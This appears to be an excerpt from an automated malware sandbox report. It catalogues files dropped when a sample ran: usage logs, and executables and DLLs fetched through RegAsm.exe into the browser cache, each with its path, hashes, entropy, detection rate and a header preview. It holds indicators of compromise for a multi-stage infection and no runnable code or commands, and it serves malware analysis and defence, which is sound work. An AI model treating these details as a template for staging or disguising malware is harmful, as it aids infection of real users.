SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKhav:ML9E4Ke84qXKDE4KhKiKhk
MD5:	08B391CB8E70DAE45E693F5AEFF97240
SHA1:	3D9B7C574393BC5E42C3F5BD802DA891EAC2A86C
SHA-256:	E8723F906E58446CB7375D96D654DDF02AC17662F53DBB965C845999E1016628
SHA-512:	73266735B86824221433C5585969ABDACAFEBF1D6FF7FE0D4EAF6299060373D7C041B52BF99E6CD1FA33173B0D60AE4417AA6F0850BAE5C8CCBB52D700644E35
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nnoSckkth0srkZiZ3BOPqSkN.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\woZv82DGCV54SaaUFka2bYWX.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66daf6d8ac980_PeakSports[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1811225
Entropy (8bit):	7.91024332993057
Encrypted:	false
SSDEEP:	49152:owy+Hniztba+Me18lyHU5GqiFtXWza2DxZl01:HywiztEA05GLHXj6m1
MD5:	BDEFC54E5FE6F091F968A28AA63783BA
SHA1:	812E7C68F9D31AD7D8E931D5A20529EF920A736C
SHA-256:	049EAF34A048A80C4BDAC29DBE453169F2B0927CAEC3E397C1B9EFF016B9B415
SHA-512:	43E3597DF8118C956E08AF657B5A39B323A0188CD0791016DAB5A3E2DDDDA20A5C8CCCD8D70555DA77A3D6B3F1DA999C5C46CB40E3CA0E77461F2669FDD18C24
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p...:B..B...8............@...........................K.....0`....@.................................4........0G..&...........}..@%....?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc....&...0G..(..................@..@.reloc...2...`K..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\avoufshire[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1041416
Entropy (8bit):	7.83805483192604
Encrypted:	false
SSDEEP:	24576:R98WcMakSY6jT7Q+vv4Vd6a4wZihgqg8w2A359Le51CU:RSyafjN4VsCQ+qgoA3vCiU
MD5:	0FFEE13FF36C1CD606D032450DEB5AC1
SHA1:	9EC47845295F044B52E8E770C29FDFCCC4247336
SHA-256:	4C05C9ADE0F5FA4DDA9A53C74F8BC41C3AB59D29203DC11C2F5CC99A5DBF7DF1
SHA-512:	33DF0F375DCD5EBB9EFA37747930F55774797DA9B4262FAA667B67534736BDF49C786BCDBC987F5A9676C586E073EBB8D1C61EA550380B2BCBB28F28DF2F881D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p....>..B...8............@...........................H.....uE....@.................................4........0G..(....................?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc....(...0G..*..................@..@.reloc...2...`H..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\burda[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1751040
Entropy (8bit):	7.943745946709424
Encrypted:	false
SSDEEP:	49152:Qxg5NT7GbcvLI73s0tPjCsVeWXe4KFKvJOGg/hpB:Qa5NT6Mc73s0V3Xe+vK/
MD5:	B7E094CBC9D971FDE82441821F564D37
SHA1:	D33036607F717AB690A11E507420153B771BA958
SHA-256:	136D677281759FBFCFE3B706E7DE4B5A866834509CE867EDBB3B6693C90F2F68
SHA-512:	185557B9423BF9EA79E0950AE9E6BA739AD10B1A3FE8A42A54FE9EDC31196AB20BC980D556BEE68DDB3791763EF7C43D711BB135801866E8E1FEDC246E04B8FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L....Z.f.....................B".......f...........@...........................f...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .P)...$......N..............@...pymoazte.P...PM..B...P..............@...gujgkxpj......f.....................@....taggant.0....f.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\feoihjfehfue[1].txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.323231428797621
Encrypted:	false
SSDEEP:	3:0MXAG3z:0MQG
MD5:	42C939D0BA4BBDC4C7EAB1B5C34AAF71
SHA1:	5B0F43AB04980A7808A695BE06F2B94BEB2423EF
SHA-256:	7C040F8633B8823D72ED63DA9B3B2DFE9846E912C66A64C9433EC9C4815D76C2
SHA-512:	6EA7049F426EC3BF96B717E3A7387F2E09D53716B2C1A332ED135FAFD46F4365BF2B59F6E5E23B9959E8DAFF9C2BA2FB3F9CF2D0B174B71019578F36935AE1FE
Malicious:	false
Reputation:	unknown
Preview:	Redirecting....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3456914
Entropy (8bit):	7.997802618528059
Encrypted:	true
SSDEEP:	98304:MD/xPjz5LqNRzcMigHSHld3hkp7WL3q1oC+:upbdmRzfBHULhkp72rC+
MD5:	AC08E549A6385F3278706D1CAD08F5B4
SHA1:	FE7EFF1A29C5972E87FD0B839012189999E3BEF9
SHA-256:	39FD62FACED036BC37AF5BB7D442786A324F4A58A170AECA925C3778F71DFD83
SHA-512:	F836F009754B90FBFE75871CED53C1A17EAF4A95190F8EF27592E2B929518B172975C2783C920CB9A097810DDCEA134FBF3F3E4A39D1824D4BE108AFB0AD14C9
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66dc99a997229_VirtualLibrary[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21402624
Entropy (8bit):	5.357185283408034
Encrypted:	false
SSDEEP:	98304:uj73A9wWJFS2ne1qk0N7gnFJAUgsHYD4waLdZhWCxHQh:NBncOsFJksHgaLzxHA
MD5:	0BD8936501F04777F9C8684B417B6399
SHA1:	EB52CCE26EEC7D1DE3BC393ADE790BBB88704290
SHA-256:	D93FBC1550C46AF5B5828FA362E36F7FFE36421AC1BB336533E29559F28CFE74
SHA-512:	D6A4F5194087329ED58A954EA5416862C630EF90F09D298AD7363C82962E032C23CDA1B6ADFD9A700DB473ACA0D3451CEC03577157F41A58EE893CE47DD73CA9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>F..............ze...................6...@...........................K.....$.F...@..................................0B.^.... K./S...................@B......................................................46..............................text...Hye......ze................. ..`.rdata..t\|....e..~...~e.............@..@.data.........6..n....5.............@....idata..^....0B......j=.............@....reloc.......@B......p=.............@..B.symtab.......K......>F................B.rsrc.../S... K..T...@F.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e179cc20793_lyla2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6623829
Entropy (8bit):	6.631818115448287
Encrypted:	false
SSDEEP:	98304:5sfzjYm4dXSQNBo7gNyKCdNaxI7eOZaVLBG:5sfzjNQTN8gNyKCdN/TspBG
MD5:	BBB65776463DD9EA77B58E098A461A56
SHA1:	693EDE73406A4DF03ED5245C54368E7987C15C83
SHA-256:	A4BD0F0CE06C2CBF97EAEA9273D486B13D74E7734476063DDFC165F5131DC2F4
SHA-512:	DE87CF86015EE733E83DA72D020B89C3BB40B13662271B0F1FDC6711C39B7E61170F2273260BAEB238659F2D86C4258B17E859E4D8F920B0F30D77A001807355
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..f..^.q%.........#..G..,Z...f...........G...@..........................`......t.f....... .........................B.... ...............................P..\..........................DlH......................!...............................text....G.......G.................`.P`.data...H.....G.......G.............@.`..rdata..X.....G.......G.............@.`@/4............H......bH.............@.0@.bss....T.f.. L.......................`..edata..B.............K.............@.0@.idata....... ........K.............@.0..CRT....4....0........L.............@.0..tls.........@........L.............@.0..reloc..\...P...,....L.............@.0B/14..................2Z.............@..B/29.................:Z.............@..B/41.....XL...@...N....[.............@..B/55.....B............0\.............@..B/67.....T.............].............@.0B/80.....a............2].

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e197066b3e8_xin[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	513024
Entropy (8bit):	7.995324800347376
Encrypted:	true
SSDEEP:	12288:aApbc1BDQ2XTXud+5joeuNBnFZjaRuFhm9cUZmH:aec1JQ2XTXZ5Ra7ZfT
MD5:	8251E639862C3EBF4DEB3A89FB0CF7C6
SHA1:	D6895C6732042EDE4CB7BAE0B0E32B6E82DFFE2E
SHA-256:	52F2B26FCD104F3473E3EA3968CECCD708A7F48F37288264F0EB94EF67ED5332
SHA-512:	A6F07AD38B78310893BD493DF6EA2B0D9E57328AB052285EE9B82BA180E6EAD45B185502CA609EE14D9234750B472AC875922BE0D5ECB860320A830336A6EDEC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..f............................^.... ........@.. .......................@............`.....................................K............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......h...p...............................................................1Pt.....H.vZ..;#.X..w.g..\|Qx.e.l......E...Eb....c...n...g..j..mU`b2.....I...E..:h2.....V.}.....t..`....h+t.W.zp.8. e._.......@;...`.'......:...S<2.H.o.v.`.S..<.....Q.".ocGj1YK.y..,..G..-+...e..) .RUxr..H..G.O.B)..Wy......Y..T.i...zw...$......6X[U.}E(..M}._r-.......\KS.Z.s.O...A.4.,.W.Zr....T.?+.{...?.....^)=T../.Qp.[.......J...#.tA!..4..X....j\|%...dJ.m.....~#y&.j........I.3h..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lgrn[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.988262547218366
Encrypted:	false
SSDEEP:	6144:lrajaPeAu827HzFo/cSHh5zbc/yj43AUq6De4oDEKYEO:9iTFUcSh5zYG4g6D2DE5EO
MD5:	94C5ABD0ECCD77846B4E0F641906BB19
SHA1:	3FB0119C89952F61AEE14ABBE693A293EE916439
SHA-256:	863C177542F93D6E42BA2DC7633CEC75DA9515C39ED13915F63E9361F5CF7A6B
SHA-512:	4BBFCE9F805C755380FF18CECC5A6CFEB9AEADF7140D5C612FCA44CFF923B57507AB01BD2B2F1389A97C0B3B41737E16732330980A9E3B02898B2C1271C7EAE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...().f............................^.... ........@.. .......................@............`.....................................K.......................(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......p...h...............................................................t...8;/.".k..L.`R...4[{I.A..![....(._...g.*2.F3.+...r5.A_..=..s...d.4i./q..I.ZK.}.H......r0ID....M.-4.y.r...c1.IH3....&......o.~.@T..D...... .M1.....2......g~.....q...&C...Ij..oi....cT..'...c+...+.MP.P..c.....~....=...-....\"..`......]5..>.....8}Bo..@G...v..d.\|j.C.}.{.(.v....~.........l./.<....!v4.d.I...[7w...C...$.STW........Y...%..)'w.W?..Ai...@v.S]..D.....@....!%..O..../..8%.=..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vtrwh12[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	289832
Entropy (8bit):	7.984894884244759
Encrypted:	false
SSDEEP:	6144:wsBdXzlQZTJm2CMA8E0pNdx651jzTqR0noaLKRUEO:wsBtzloTJm2CMA8qLPm0noaGRUEO
MD5:	D264213F54193475FFD0301F7D92639F
SHA1:	8E494A7D4B3D54E03A3B27C8DFDE51295BB56737
SHA-256:	6B11A91599104B307955A4CDE5942D89ED2AA29E833FA229E21368A73139186D
SHA-512:	1A699BE3BB71083C35D5C0BBBCB862FDACB71F67FC8C4E34CFA68C52E7ED1B4360C1975BA290D14D95DEE8233558E6DFC1B10E628D5DA97A2FAFFCED2BB14F92
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....).f.................<..........^[... ...`....@.. ....................................`..................................[..K....`...............F..(&...........Y............................................... ............... ..H............text...d;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............D..............@..B................@[......H.......pL..h...........................................................%<...7'...5..v.q,..H.....JZy......>..Q...;.T.!.^..nM3..O...i%..\|....p..y....LJ..).C.O..t....\|3...+...h:...yT.R.X....#..l....(....[.W...{.S..d."...<'..=.%=..f.r...(>......8...........ub....!......T.c..J..U?{\|....y.u.GOf{....`+6.*...&X.gv..@s...Q...........!E.i^...$..r....!.4........'..8a.O.@..5B.G.....6.F\..+;E2.SQ..R^.7..z..t..Tn...rcY.........5?....%..7.)..!..>.1....A.D...x8.."."1...>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66dd2c2d3b88f_opera[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11158528
Entropy (8bit):	7.965100436275914
Encrypted:	false
SSDEEP:	196608:rOcTCbnBZ+FV7CyJBPuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDabGoDqs:rNTCbnYFXzPuH8kv477RWXJs59NqIPmp
MD5:	079D166295BAFA2AB44902C8BF5FF2A5
SHA1:	46E728A035C3FD9618F823A5D0B525A9AA22E1C1
SHA-256:	DBE5FB6A6D567628F7982723F21869F68508397EE6926116554AEF37789014D8
SHA-512:	949F278BF199553263D7023349B16F6060506E29518886DFF77D913DF54B951B0C0026667BBD67A9CDC4C44AE7C174D74DDD7D5520DF081D91A1296DE095151B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#............................@.......................................... ..................................................0..<............m..`..........................................x...(...@l..8............P.. ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..8k......................... ..`.text1..X....P......................@....text2...7...`...8..................`..h.rsrc................>..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e06cea88f93_BlueSapphire[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2590720
Entropy (8bit):	7.821985472542587
Encrypted:	false
SSDEEP:	49152:A9zw3eubztBBCJwXEsUBc5FW/bGMeO4D7oN96TIaZ80Yjhz7bB:AK3vVIaIwECMeO4YNARxYN7bB
MD5:	0FEEBE85E6413561E738588CAD1076A3
SHA1:	8C24B6F02987B0E768AF17EF34D5D40DF8B13CF2
SHA-256:	038AE1968E1CC1424184B684200CCED6E2DDD84D4D8557FC2A10330CB754F44E
SHA-512:	B71AB723274A8B35AE46F8E4F236057BB28DBD4A13673F00596910A8D71D7F814894C09C1FEDC6981E0E4077236871170B9819490DF31E092AD0D36FCD75E033
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._0................P...$.........N.%.. ... %...@.. ........................'...........@...................................%.K.... %.\.....................'.......%.............................................. ............... ..H............text...T.$.. ....$................. ..`.rsrc...\.... %.......$.............@..@.reloc........'.......'.............@..B................0.%.....H...........`.......B...P^..;............................................(Y............(Y..........................(Y.....0..........(Y... ........8........E....$...?...Z...8....s.........8....s.........8....s......... .....9....&8....s......... .....9....&8....s.........8........0..............0..............0..............0..............0............................0..............0.....................0..............(Y...(......................*....(Y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e19745cc64e_crypted[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	7.989227158368178
Encrypted:	false
SSDEEP:	6144:gpXRY2x3RG9r3cTVZgacvbAozLKIc5nxXNKbfuxUZKPGlVkFey1wNMbsrUeiorO:gpXRY2xComAAqnSud+lVkg14qr
MD5:	7F763112FF2D56B045084192E1FF9FF9
SHA1:	1037D19845AABD5FCE1F98AE8FB7A89E2C0CDD0C
SHA-256:	EB61898F47A0FC4109E1B5368162D6E64AEC443193B40792A9D9E918F93D8B20
SHA-512:	52C92CC942010C311A035CB23959FE27D9A065EC870C60989654A9E4C7E7B94C5CC45A96A4FA51A091C248D69AFEB2F23B0F57C3AF8362C799B8E6CFB7B88E71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L}.f............................^.... ........@.. .......................@............`.....................................K............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......h...p..............................................................:.J.Lr[.n...z9..8.&\..R.Lo.&.2.....sn(.R..O.Kje.H,...p.?Y...=..S..H...cms]2&NI.....s0.Tq.....~.=g.....&.6....c-...fO9Vbj.C..].(.4..._.E.iVv.6R.U,S.`.T..+h...hJw..Ij+...`P.... ..G.. {..e..i.CV.%.g.(....{...].n3]R......j7.t...<...7G..cD.X.....m..qn.M.L..:...s5.^/..OW&.+j....[=..V.-.[.\|..b.. .A.kE.0c.I...\.9$.=.Na.v.Sd.^.>..([......l....M.........#4IT.)..y<k(.~..T.....u.>h..N.8....B..\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
